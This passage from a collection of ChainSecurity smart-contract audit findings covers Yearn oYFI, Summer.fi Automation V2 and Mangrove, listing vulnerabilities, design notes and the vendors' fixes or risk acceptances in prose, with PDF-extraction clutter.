CriticalHighMediumCodeCorrectedCodeCorrectedLowCodeCorrectedCodeCorrectedDesignMediumVersion1CodeCorrectedDesignMediumVersion1CodeCorrected \f The Options.payee is set to the owner in the constructor. In addition, set_payee function, restricted to the owner, was added. It can change this field. The Gauge.setRecipient function was added. It allows users to set the recipients mapping. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/yearn-oyfi/"}, {"title": "6.3 Divisions Before Multiplications", "body": " In the implementation in the scope, there are multiple instances where divisions happen before multiplications. Such sequences of operations yield less precise results. In particular, the following expressions can be rearranged: In Options._eth_required, amount * eth_per_yfi / PRICE_DENOMINATOR * discount / DISCOUNT_NUMERATOR In Gauge._boostedBalanceOf, ((_realBalance * BOOSTING_FACTOR) + (((totalSupply() * IVotingYFI(VEYFI).balanceOf(_account)) / veTotalSupply) * (BOOST_DENOMINATOR - BOOSTING_FACTOR))) / BOOST_DENOMINATOR, Code partially corrected: The Options._eth_required does the multiplications first and only then the divisions. The Gauge._boostedBalanceOf is left unchanged. This numerical imprecision won't affect the functionality of the contract. No \"dust\" will be accumulated due to this because the penalty is defined in a way, that will sweep the leftover dust. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/yearn-oyfi/"}, {"title": "6.4 Sweeping Non-ERC20-Compatible Tokens", "body": " Options.sweep allows any user to transfer any ERC20 compatible tokens owned by the contract to its owner. However, this call will fail for tokens that are not compliant with the ERC20 standard. The most prominent example is the USDT. USDT's transfer does not return any value in contrast to the ERC20 standard. This means that transfer call will fail. In Solidity, this issue is tackled with the safeTransfer call (see Openzeppelin's safeERC20). The default_return_value=True parameter was added in the Options.sweep token transfer call, that enables safeTransfer functionality in Vyper smart contracts. Yearn - oYfi - 12 DesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrected \f7 Informational We utilize this section to point out informational findings that are less severe than issues. These informational issues allow us to point out more theoretical findings. Their explanation hopefully improves the overall understanding of the project's security. Furthermore, we point out findings which are unrelated to security. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/yearn-oyfi/"}, {"title": "7.1 EIP-4626 Event Field Names", "body": " Event Deposit and event Withdrawal in IERC4626 are defined with address indexed caller. According to the https://eips.ethereum.org/EIPS/eip-4626#events, these fields should be named as sender. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/yearn-oyfi/"}, {"title": "7.2 Full YFI Locked Discount Reverts", "body": " In the case of the quite improbable event, when the total supply of Yfi is locked in veYfi, the discount cannot be computed. DISCOUNT_TABLE[total_locked * DISCOUNT_GRANULARITY / total_supply] The DISCOUNT_TABLE has 500 elements. However, the max index is 499. This index access during the computation will revert, if total_locked == total_supply, because the element with index 500 is not present in the DISCOUNT_TABLE. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/yearn-oyfi/"}, {"title": "7.3 Incorrect Documentation", "body": " In OYfiRewardPool.burn, the documentation reads as follows: @notice Receive YFI into the contract and trigger a token checkpoint The documentation is incorrect as OYFI is transferred instead of YFI. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/yearn-oyfi/"}, {"title": "7.4 Missing Indices in Events", "body": " For some events, some arguments are not indexed even if this would make sense. In particular: In Options.Sweep, the token argument could be indexed. In Gauge.BoostedBalanceUpdated, the account argument could be indexed. Yearn - oYfi - 13 InformationalVersion1InformationalVersion1InformationalVersion1InformationalVersion1 \f7.5 Non-informative Error Message BaseGauge.queueNewRewards checks whether the _amount argument is non 0. Should this check fail, the non-informative ==0 message will be returned. Note that Solidity 0.8 allows for error values instead of just strings to be returned upon check failure. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/yearn-oyfi/"}, {"title": "7.6 Redundant Function Modifiers", "body": " Multiple functions are defined using a public modifier, while they are not called within the contract. These functions could be set as external instead: Gauge.convertToShares Gauge.convertToAssets Gauge.maxDeposit Gauge.previewDeposit Gauge.maxMint Gauge.previewMint Gauge.kick Solidity compiler needs to perform extra routines for public functions, which can result in higher gas usage. Yearn - oYfi - 14 InformationalVersion1InformationalVersion1 \f8 Notes We leverage this section to highlight further findings that are not necessarily issues. The mentioned topics serve to clarify or support the report, but do not require an immediate modification inside the project. Instead, they should raise awareness in order to improve the overall understanding. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/yearn-oyfi/"}, {"title": "8.1 Gauge Assumed Decimals", "body": " The Gauge contract uses default 18 decimals. However, the asset can have a different number of decimals. While the Yearn vault tokens have 18 decimals, this might not be true for any asset that might be used in Gauge. If an asset with a different number of decimals is introduced, the respective Gauge will misbehave. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/yearn-oyfi/"}, {"title": "8.2 Manipulation of Curve Oracle", "body": " Options calculates the price of YFI/ETH by querying the price oracle of the respective Curve-pool. Curve uses a time weighted price oracle or (TWAP-oracle). TWAP oracles have been shown to be manipulatable to an extent. Users should be aware that the system in scope does not perform any further sanity checks on the correctness of the reported price. Yearn - oYfi - 15 NoteVersion1NoteVersion1 \f", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/yearn-oyfi/"}, {"title": "5.1 Execution Data Is Not Validated", "body": " 0 0 2 5 The executors always provide some execution data for the execution of the trigger. However, this data should correspond to the trigger's intention, but is not validated for the most part. Note that it still is limited in its ability to act maliciously because of the post-execution checks. CS-OazoAutomV2-001 Risk accepted: Summer.fi accepts the risk. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/summer-fi-automation-v2-smart-contracts/"}, {"title": "5.2 Execution Reentrancy May Be Possible", "body": " Commands delegate calls to action smart contracts to act on the user's position. However, some of these action smart contracts can contain logic that would permit other external contracts. CS-OazoAutomV2-002 Summer.fi - Automation V2 - 13 SecurityDesignCorrectnessCriticalHighMediumRiskAcceptedRiskAcceptedLowCodePartiallyCorrectedRiskAcceptedRiskAcceptedRiskAcceptedRiskAcceptedRiskAcceptedSecurityMediumVersion3RiskAcceptedSecurityMediumVersion3RiskAccepted \fIn this case, external contracts could contain malicious code that could reenter the core contracts to add/remove triggers, or simply temper with the user's position. Risk accepted: Summer.fi accepts the risk. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/summer-fi-automation-v2-smart-contracts/"}, {"title": "5.3 Future Debt Validation Does Not Take Bounds", "body": " Into Account In the BasicSellCommand, the post-execution debt is computed in isExecutionLegal() to validate that it will be bigger than the dust limit of the cdp's ilk: CS-OazoAutomV2-003 uint256 futureDebt = (debt * nextCollRatio - debt * wad) / (trigger.targetCollRatio.wad() - wad); Note that in this computation the target collateralization ratio is accounted as is and used to predict future debt. However, the post-execution cdp's debt might not exactly correspond to this collateralization ratio, this is the reason behind the existence of the deviation parameter. This makes it possible for the isExecutionLegal() function to return true even though execution will fail afterward because the debt is smaller than the dust limit. Code partially corrected and risk accepted: Now, the upper bound for the collateralization ratio is used. However, this will yield the minimal value futureDebt could reach. Hence, the function could return false in some scenarios where the execution could be legal. However, Summer.fi accepts the risk. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/summer-fi-automation-v2-smart-contracts/"}, {"title": "5.4 Negative gasRefund Possible", "body": " gasRefund should be used to decrease the necessary coverage according to the gas refunds. However, it is of type int and, hence could be negative so that the computation CS-OazoAutomV2-004 uint256(int256(initialGasAvailable - finalGasAvailable) - gasRefund); could increase the gas used instead of lowering it. Note that with the current trust model, the executor providing this gas refund value should not be trusted. Risk accepted: Summer.fi - Automation V2 - 14 DesignLowVersion1CodePartiallyCorrectedRiskAcceptedCorrectnessLowVersion1RiskAccepted \fSummer.fi states that no changes were made since calls come from trusted callers. However, disallowing negative numbers (e.g. by using uint256) could help. Hence, Summer.fi accepts the risk. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/summer-fi-automation-v2-smart-contracts/"}, {"title": "5.5 Overflow When Computing the Used Gas", "body": " The cast from int256 to uint256 could overflow in the following code uint256(int256(initialGasAvailable - finalGasAvailable) - gasRefund); if gasRefund is greater than the computed gas used. CS-OazoAutomV2-005 Risk accepted The gas refund is limited now by 10**12. However, this does not protect against bad gasRefund argument since it could still be greater than (initialGasAvailable - finalGasAvailable). ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/summer-fi-automation-v2-smart-contracts/"}, {"title": "5.6 Too Low execCollRatio", "body": " In BasicSell, the execCollRatio could be below the liquidation ratio. Hence, the trigger validity check could allow an unexecutable trigger to be added. CS-OazoAutomV2-006 Risk accepted: Summer.fi replied that the data is validated with the calldata creation on the front-end. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/summer-fi-automation-v2-smart-contracts/"}, {"title": "5.7 Too Low slLevel", "body": " In CloseCommand, the slLevel could be below the liquidation ratio. Hence, the trigger validity check could allow an unexecutable trigger to be added. CS-OazoAutomV2-007 Risk accepted: Summer.fi replied that the data is validated with the calldata creation on the front-end. Summer.fi - Automation V2 - 15 CorrectnessLowVersion1RiskAcceptedDesignLowVersion1RiskAcceptedDesignLowVersion1RiskAccepted \f6 Resolved Findings Here, we list findings that have been resolved during the course of the engagement. Their categories are explained in the Findings section. Below we provide a numerical overview of the identified findings, split up by their severity. 2 3 2 14 -Severity Findings Arbitrary Actions and Storage Manipulations Executor Could Draw an Unbounded Amount of Coverage -Severity Findings Executing a DPM Command Reverts Removing Arbitrary Triggers Possible Upgrades Break AutomationBot -Severity Findings Possible Reentrancy Through Execution addRecord() Does Not Unlock -Severity Findings Wrong Event Argument Incorrect Argument for ApprovalGranted Event Bad Trigger Ids Emitted Command Validation Functions Can Revert Contracts Do Not Extend the Interfaces Group Counter Starts at 2 Left Comments Missing Validation in AutoTakeProfitCommand Redundant Approval Removing Non-Callers Emits an Event Specification Mismatches Unequal Array Lengths Unused Imports Unused Parameter, Variable and Event ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/summer-fi-automation-v2-smart-contracts/"}, {"title": "6.1 Arbitrary Actions and Storage Manipulations", "body": " CS-OazoAutomV2-011 The owner of the ServiceRegistry could perform arbitrary storage manipulations and actions on any (in executePermit() and position. Namely, executeCoverage()) allows them to execute arbitrary code in the context of the storage contract. In the storage contract the delegatecalls in Summer.fi - Automation V2 - 16 CriticalCodeCorrectedCodeCorrectedHighCodeCorrectedCodeCorrectedCodeCorrectedMediumCodeCorrectedCodeCorrectedLowCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedSecurityCriticalVersion3CodeCorrected \faddition, a malicious command could be added along with its adapter so as to execute malicious actions on a user's position. Let's consider different scenarios for understandability reasons: Modifying storage in AutomationBotStorage: 1. Command X is added to the ServiceRegistry, it is a no-op command and is immediately executable. 2. Adapter X is also added. 3. The owner calls addRecord() to add a record for the command. 4. execute() happens. Arbitrary code is executed during the delegatecall made in adapter X. Executing a malicious command: 1. Command X is added to the ServiceRegistry, it is a command that can, given a position, unwind all funds to the owner's address and is immediately executable. 2. Adapter X is also added, its canCall() function always return true. 3. The owner calls addRecord() to add a record for the command and is allowed to do so. 4. execute() happens. Arbitrary code is executed during the execute made in AutomationBot and funds are stolen. Ultimately, the service registry owner may self-destruct the contract, change any storage locations, and execute any operations on any position that the AutomationBotStorage has allowance on. Note that there are many possibilities when adding arbitrary commands and adapter, and the examples listed above are non-exhaustive. --- Summer.fi has changed the design. Users approve adapters which are callable by the automation bot. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/summer-fi-automation-v2-smart-contracts/"}, {"title": "6.2 Executor Could Draw an Unbounded Amount", "body": " of Coverage CS-OazoAutomV2-026 The typical execution flow of a trigger is 1. Pre-condition checks. 2. Getting the coverage with getCoverage() so that the user pays for the fees. 3. Execution. 4. Post-condition checks. Note that getCoverage() will typically create additional debt which changes also the collateralization ratio, and that the coverage amount is not bounded upwards. A trigger could potentially be non-executable before the execution but become executable once getCoverage() has been called. This gives the executor an ability to execute some triggers on demand. Further note that there can be other unforseeable consequences, but they are limited by the post-execution validation. Summer.fi - Automation V2 - 17 SecurityCriticalVersion3CodeCorrected \f created an alternative for getting arbitrary coverage that severly amplifies the The changes in owners possibilities. With this new version, the executable adapters alway holds permissions for the position (if set up correctly), so that it can draw coverage when needed. Now consider the following scenario, where the governance would want to draw excessive coverage on a target position: 1. Governance adds a malicious command along with a malicious security adapter assigned to it. The malicious adapter returns true on canCall calls and the command allows execution but does not perform any operation. They also assign to the command a legit executable adapter, the one that the target position permitted to. 2. Governance adds a trigger record with the trigger data pointing to the target position, and using the malicious command. 3. Execution occurs (governance has control over the executors) and the excecution adapter is called to get coverage and can (nearly) drain the target position. The maxCoverage variable was passed along the malicious triggerData in step 2, so can be arbitrary. A user-defined maximum and a payment token has been introduced. The executable adapter is now only granted permissions when getting the coverage. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/summer-fi-automation-v2-smart-contracts/"}, {"title": "6.3 Executing a DPM Command Reverts", "body": " A typical command execution flow of AutomationExecutor's execute() function is as follows (some steps are omitted for clarity): CS-OazoAutomV2-016 1. Giving permissions to the command address 2. Calling the command to execute 3. Disallowing the command Note that when the automation bot permits the command address, it delegates the call to the specific adapter. This should work because the automation bot was already permitted when the trigger was added. In the case of the DPMAdapter, the permit() function starts with this line: require(canCall(triggerData, msg.sender), \"dpm-adapter/not-allowed-to-call\"); This is executed in the context of the AutomationBot, so the msg.sender is still the AutomationExecutor, which has not been permitted by the owner of the proxy. The execution call will fail in all cases except when the owner of the proxy has manually permitted the AutomationExecutor. Summer.fi changed msg.sender to address(this). Summer.fi - Automation V2 - 18 Version4DesignHighVersion1CodeCorrected \f6.4 Removing Arbitrary Triggers Possible CS-OazoAutomV2-024 addRecord() adds a trigger and allows to replace a given trigger id and data with. The following check is performed: require( replacedTriggerId == 0 || adapter.canCall(replacedTriggerData, msg.sender), \"bot/no-permissions-replace\" ); However, following issues arise: 1. replacedTriggerData is not validated to match the replacedTriggerId (as in checkTriggersExistenceAndCorrectness()). 2. The security adapter for the new command is used. However, the replaced trigger id may be another command that has another adapter. Users relying on the execution could be liquidated or miss out on profit scenarios. replacedTriggerData is now checked against the hash of the replacedTriggerId since . The original adapter is used since . ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/summer-fi-automation-v2-smart-contracts/"}, {"title": "6.5 Upgrades Break AutomationBot", "body": " The split of the storage from the AutomationBot intends to [...] enable the upgradeability of AutomationBot implementation without the need for migration for all of the triggers. However, note that the AutomationBot contract is given permissions for the positions but changing the address does not transfer the permissions. Ultimately, no previous triggers can be executed. CS-OazoAutomV2-030 Now, the AutomationBot does not hold any permissions. However, permissions are granted to the storage contract. Thus, the AutomationBot calls functions on the storage contract that can grant commands the necessary rights. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/summer-fi-automation-v2-smart-contracts/"}, {"title": "6.6 Possible Reentrancy Through Execution", "body": " CS-OazoAutomV2-015 Summer.fi - Automation V2 - 19 SecurityHighVersion1CodeCorrectedVersion2Version3CorrectnessHighVersion1CodeCorrectedSecurityMediumVersion1CodeCorrected \fWhen a caller executes a trigger, the automation bot permits the specific command to act on the target position/cdp for the execution call and removes this permission after it. To execute a trigger the execute() function is called on the command. Note that none of the implementations of this function have access control or reentrancy protection. On execution, external smart contracts that belong to third parties will be called and it can lead to reentrancy possibilities. Entering again the execute() function would then be possible. Now, the AutomationBot and the commands have reentrancy locks. Given that only a command at a time is granted permissions, this protects commands from being malicously executed. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/summer-fi-automation-v2-smart-contracts/"}, {"title": "6.7 addRecord() Does Not Unlock", "body": " addRecord() adds new triggers. It calls lock() to ensure that emitGroupDetails() has the right calldata. However, note that emitGroupDetails(), which unlocks the lock counter, is only called if addRecord() is used through addTriggers(). Note that this is not necessarily the case. Hence, the contract could temporarily be locked by direct calls to addRecord() (without using the proxy actions function addTriggers()). Calling addTriggers() would revert because of the inconsistency between the emit group details and the lockCount. CS-OazoAutomV2-021 The lock is always cleared using the new function clearLock() in addTriggers() and removeTriggers(). ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/summer-fi-automation-v2-smart-contracts/"}, {"title": "6.8 Wrong Event Argument", "body": " In the AutomationBot smart contract, both events ApprovalGranted and ApprovalRemoved are emitted with the AutomationBot address as argument, when the permission is actually granted to or removed from adapters. CS-OazoAutomV2-032 The correct argument is now used. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/summer-fi-automation-v2-smart-contracts/"}, {"title": "6.9 Incorrect Argument for ApprovalGranted", "body": " Event CS-OazoAutomV2-019 Summer.fi - Automation V2 - 20 CorrectnessMediumVersion1CodeCorrectedCorrectnessLowVersion4CodeCorrectedCorrectnessLowVersion2CodeCorrected \fThe event ApprovalGranted(bytes indexed triggerData, address approvedEntity) should pass the approved entity as second argument. In AddTriggers(), the approval is granted to the AutomationBotStorage but the argument specifies the automationBot. Code corrected The correct argument is now used. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/summer-fi-automation-v2-smart-contracts/"}, {"title": "6.10 Bad Trigger Ids Emitted", "body": " The addTrigger() function triggers a call to emitGroupDetails() with bad trigger ids. CS-OazoAutomV2-013 Consider the following scenario: 1. addTriggers() is used. 2. firstTriggerId is 0 since no triggers have been added so far. 3. addRecord() is called. 4. appendTriggerRecord() is called. The trigger is added with id 1 and the trigger counter is set to 1. The call returns. 5. addRecord() emits an event with trigger id 1 and returns. 6. addTriggers() sets the local variable triggerIds[0] to 0. 7. An event is emitted with the wrong id. Ultimately, events with errors are emitted. The first trigger id is now computed correctly (triggers counter + one). ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/summer-fi-automation-v2-smart-contracts/"}, {"title": "6.11 Command Validation Functions Can Revert", "body": " Command smart contracts implement 3 different data/execution flow validation functions that return a boolean: CS-OazoAutomV2-031 isTriggerDataValid() isExecutionLegal() isExecutionCorrect() All of those are wrapped in a require() in the automation bot so that the trigger data is valid and the pre and post-execution conditions also are. However, some of these functions in AutoTakeProfitCommand fail on some conditions instead of just returning false: 1. If the owner of the cdp is the address 0 in isExecutionLegal() Summer.fi - Automation V2 - 21 CorrectnessLowVersion1CodeCorrectedDesignLowVersion1CodeCorrected \f2. If the trigger execution price is greater than the next price in isTriggerDataValid() The functions return false now. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/summer-fi-automation-v2-smart-contracts/"}, {"title": "6.12 Contracts Do Not Extend the Interfaces", "body": " Most of the contracts interact with each other based on the interface definitions. For example, the addTrigger() call BotLike.addRecord() on the AutomationBot. However, the AutomationBot contract itself does not explicitly implement the BotLike interface. Similarly, other contracts do not implement interfaces. Without this, there are no compile-time guarantees that the contract will be compatible with the calls to the functions that the interface defines. This can lead to potential runtime errors and exceptions that are hard to debug. It is important to explicitly define that the contracts implement the corresponding interfaces, to minimize such errors. CS-OazoAutomV2-017 The usage of interfaces has been improved. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/summer-fi-automation-v2-smart-contracts/"}, {"title": "6.13 Group Counter Starts at 2", "body": " Why does the group counter start at 2 when AutomationBot emits the first TriggerGroupAdded event? CS-OazoAutomV2-018 The group counter starts now at 1. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/summer-fi-automation-v2-smart-contracts/"}, {"title": "6.14 Left Comments", "body": " Several TODOs are left open. Additionally, other comments are left. For example, or type ? do we allow execution of the same command with new contract - waht if contract rev X is broken ? Do we force migration (can we do it)? CS-OazoAutomV2-020 Such comments can increase complexity. Summer.fi - Automation V2 - 22 DesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrected \f The comments have been removed. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/summer-fi-automation-v2-smart-contracts/"}, {"title": "6.15 Missing Validation in", "body": " AutoTakeProfitCommand The AutoTakeProfitCommand smart contract takes care of closing a cdp when its collateral has reached a certain price. This kind of trigger should not be continuous because of the way this command works. However, isTriggerDataValid() does not check wether it is or not. CS-OazoAutomV2-012 Now, only non-continous triggers are valid for AutoTakeProfitCommand. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/summer-fi-automation-v2-smart-contracts/"}, {"title": "6.16 Redundant Approval", "body": " The AutomationExecutor approves Uniswap's router contract twice which increases gas consumption and adds additional complexity. CS-OazoAutomV2-022 The redundant approval was removed. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/summer-fi-automation-v2-smart-contracts/"}, {"title": "6.17 Removing Non-Callers Emits an Event", "body": " Removing non-callers emits a CallerRemoved event. In contrast, adding callers that are already callers skips the event emission. CS-OazoAutomV2-023 Only callers can now be removed. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/summer-fi-automation-v2-smart-contracts/"}, {"title": "6.18 Specification Mismatches", "body": " Note that there are multiple specification mismatches: CS-OazoAutomV2-025 Summer.fi - Automation V2 - 23 CorrectnessLowVersion1CodeCorrectedDesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrectedCorrectnessLowVersion1CodeCorrected \f1. BasicSellCommand implies trigger.execCollRatio.wad() >= nextCollRatio which contradicts the code in the equality case. 2. The documentation describes maxBuyPrice instead of minSellPrice. 3. The documentation states that Automation Bot is a stateless contract. However, it has a state variable lockCount. 4. The adapter section specifies that adapters are delegatecalled in the AutomationBot context. However, the functions introduced functions executePermit() and executeCoverage() changed this behaviour since they are delegatecalled from the storage contract now. Specification corrected All 4 points were correct in the documentation. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/summer-fi-automation-v2-smart-contracts/"}, {"title": "6.19 Unequal Array Lengths", "body": " In addTriggers(), the array parameters could have distinct lengths. The execution in such cases is unspecified. Similarly, this holds for removeTriggers(). CS-OazoAutomV2-027 All arrays are not checked against for length. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/summer-fi-automation-v2-smart-contracts/"}, {"title": "6.20 Unused Imports", "body": " Some smart contracts have some unused imports, some examples are: CS-OazoAutomV2-028 In AutomationExecutor: 1. FullMath 2. IExchange 3. ICommand In BaseMPACommand: 1. AutomationBot In McdView: 1. ICommand 2. BotLike Note that this is an incomplete list of examples. Summer.fi - Automation V2 - 24 DesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrected \fAll unused imports have been removed. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/summer-fi-automation-v2-smart-contracts/"}, {"title": "6.21 Unused Parameter, Variable and Event", "body": " 1. The function AutomationExecutor.execute() has an unused parameter cdpId. 2. AutomationExecutor stores the DAI address as an immutable which is unused. 3. The AutomationBot has an event ApprovalGranted that is not used. 4. AUTOMATION_BOT_STORAGE_KEY is unused in AutomationBot. CS-OazoAutomV2-029 The event ApprovalGranted is now used and the others have been removed. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/summer-fi-automation-v2-smart-contracts/"}, {"title": "6.22 The CloseCommand Does Not Inherit", "body": " BaseMPACommand The CloseCommand smart contract does not inherit the BaseMPACommand smart contract even though it executes through the MPA. CS-OazoAutomV2-014 Inheritance was improved. Summer.fi - Automation V2 - 25 DesignLowVersion1CodeCorrectedInformationalVersion1CodeCorrected \f7 Informational We utilize this section to point out informational findings that are less severe than issues. These informational issues allow us to point out more theoretical findings. Their explanation hopefully improves the overall understanding of the project's security. Furthermore, we point out findings which are unrelated to security. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/summer-fi-automation-v2-smart-contracts/"}, {"title": "7.1 Floating Dependencies Version", "body": " The versions of the contract libraries in package.json are not fixed. Please consider the following examples: CS-OazoAutomV2-009 \"@openzeppelin/contracts\": \"^4.5.0\" The caret ^version will accept all future minor and patch versions while fixing the major version. With new versions being pushed to the dependency registry, the compiled smart contracts can change. This may lead to incompatibilities with older compiled contracts. If the imported and parent contracts change the storage slot order or change the parameter order, the child contracts might have different storage slots or different interfaces due to inheritance. In addition, this can lead to issues when trying to recreate the exact bytecode. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/summer-fi-automation-v2-smart-contracts/"}, {"title": "7.2 Floating Pragma", "body": " Summer.fi uses a floating pragma solidity ^0.8.13. Contracts should be deployed with the same compiler version and flags that have been used during testing and audit. Locking the pragma helps to ensure that contracts do not accidentally get deployed using, for example, an outdated compiler version that might introduce bugs that affect the contract system negatively, see https://swcregistry.io/docs/SWC-103 (snapshot). CS-OazoAutomV2-010 ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/summer-fi-automation-v2-smart-contracts/"}, {"title": "7.3 Unecessary External Calls", "body": " The AutomationBot smart contract must sometimes call itself because of the delegate logic, however there are cases where this is not necessary: CS-OazoAutomV2-008 1. In the emitGroupDetails() function 2. In the addRecord() function Note that both of these function call automationBot like an external contract, but will not be called in a delegate context. Summer.fi - Automation V2 - 26 InformationalVersion1InformationalVersion1InformationalVersion4 \f8 Notes We leverage this section to highlight further findings that are not necessarily issues. The mentioned topics serve to clarify or support the report, but do not require an immediate modification inside the project. Instead, they should raise awareness in order to improve the overall understanding. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/summer-fi-automation-v2-smart-contracts/"}, {"title": "8.1 AutomationBot Permission Handling", "body": " It should be made clear to the user and in the documentation that the functions addTriggers() and removeTriggers() are only helper functions, and that data must be provided in certain ways so that the system works correctly. For example, triggers will not be able to execute if a user adds multiple triggers that point to different positions/cdps through addTriggers() without manually granting permission to the AutomationBot for each of these (except the first one). removing multiple Also, through removeTriggers() will only remove the allowance for the first position/cdp pointed by the trigger at index 0. the removeAllowance triggers with flag set true to Further, a user could have cleared all of their triggers but still have some active permission on the AutomationBot for their positions. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/summer-fi-automation-v2-smart-contracts/"}, {"title": "8.2 Data for Execution", "body": " The data for the execution can be freely selected by the callers. There are the following limitations: Post-conditions of the command must hold. Selectors are validated in commands. However, users should be aware that the coverage token can be an arbitrary token (e.g. if Aave position is managed) and, hence, the execution could lead to unwanted risks (e.g. being exposed to very volatile tokens). Further, users should be aware that the execution could be configured so that re-executions could occur faster. Ultimately, users should always consider the possibility of bad execution data. However, note that the callers are trusted addresses. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/summer-fi-automation-v2-smart-contracts/"}, {"title": "8.3 Oracle Not Suitable for On-Chain Usage", "body": " AutomationExecutor implements an oracle for Uniswap V3 TWAP prices. This is intended to be used off-chain. Using the oracle on-chain could lead to issues. First, the TWAP is hardcoded to 60 seconds which would allow for simple manipulations. Second, the function iterates over a list of pools and tries to choose the biggest one. It does so by selecting the one with the highest WETH balance. However, this is not a safe value for estimating actual pool size. Note that there are some further discrepancies compared to Uniswap V3's reference implementation of price oracle. For example, AutomationExecutor adds one to the TWAP interval array values (which Uniswap Summer.fi - Automation V2 - 27 NoteVersion1NoteVersion1NoteVersion1 \fdoes not), does not round down to negative infinity (which Uniswap does) and does not have a precision of computation as high as Uniswap in some scenarios. Generally, the oracle-like getters are not suitable for on-chain usage. Also, the off-chain usage must be done carefully. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/summer-fi-automation-v2-smart-contracts/"}, {"title": "8.4 getCoverage() Implications", "body": " The typical execution flow of a trigger is 1. Pre-condition checks. 2. Getting the coverage with getCoverage() so that the user pays for the fees. 3. Execution. 4. Post-condition checks. Note that getCoverage() will typically create additional debt which changes also the collateralization ratio. Users should be aware that in the BasicBuy command, where a precondition is that the collateralization ratio must be above a certain threshold, could technically be violated after getCoverage(). Hence, the execute function could be executed on a vault where the collateralization ratio is below the threshold. Further note that there can be other unforeseeable consequences. Users should be aware that the configuration requires consideration of the coverage. In aware of this and configure their positions accordingly. , Summer.fi repeats the precondition checks after getting the coverage. Users should be ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/summer-fi-automation-v2-smart-contracts/"}, {"title": "8.5 getTick Computes the Square Root Price", "body": " The naming of getTick() suggests that a tick is returned. However, it computes the square root price. Summer.fi - Automation V2 - 28 NoteVersion1Version4NoteVersion1 \f", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/summer-fi-automation-v2-smart-contracts/"}, {"title": "6.1 No Protection for Keepers", "body": " Generally, keepers may just be interested in collecting the penalty of failing offers. In Mangrove however, an offer could always succeed unexpectedly due to changing on-chain conditions. In this case, a keeper/taker may have executed an offer he did not actually intended to take and which may had a bad exchange rate. Note that offers may only fail when significant amounts of tokens are flashloaned to the maker up front but the very same offer may succeed for lower amounts. Unaware keepers may be tricked by honeypot offers (offers that appear to fail but in reality don't fail) by malicious makers. Keepers may protect themself by wrapping their call in a smart contract and checking for the expected outcome, but the code of Mangrove itself does not offer such a feature directly. Risk Accepted: Giry responded: Indeed all keepers should wrap their calls in a reverting contract. This protective wrapper does not need to be inside Mangrove. We plan to provide a standard wrapper at a separate address. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mangrove/"}, {"title": "6.2 ECDSA Signature Malleability", "body": " Giry - Mangrove - 14 SecurityDesignCorrectnessCriticalHighMediumRiskAcceptedLowRiskAcceptedAcknowledgedAcknowledgedRiskAcceptedDesignMediumVersion1RiskAcceptedDesignLowVersion1RiskAccepted \fThe permit function utilizes the ECDSA scheme. However missing checks for the v, 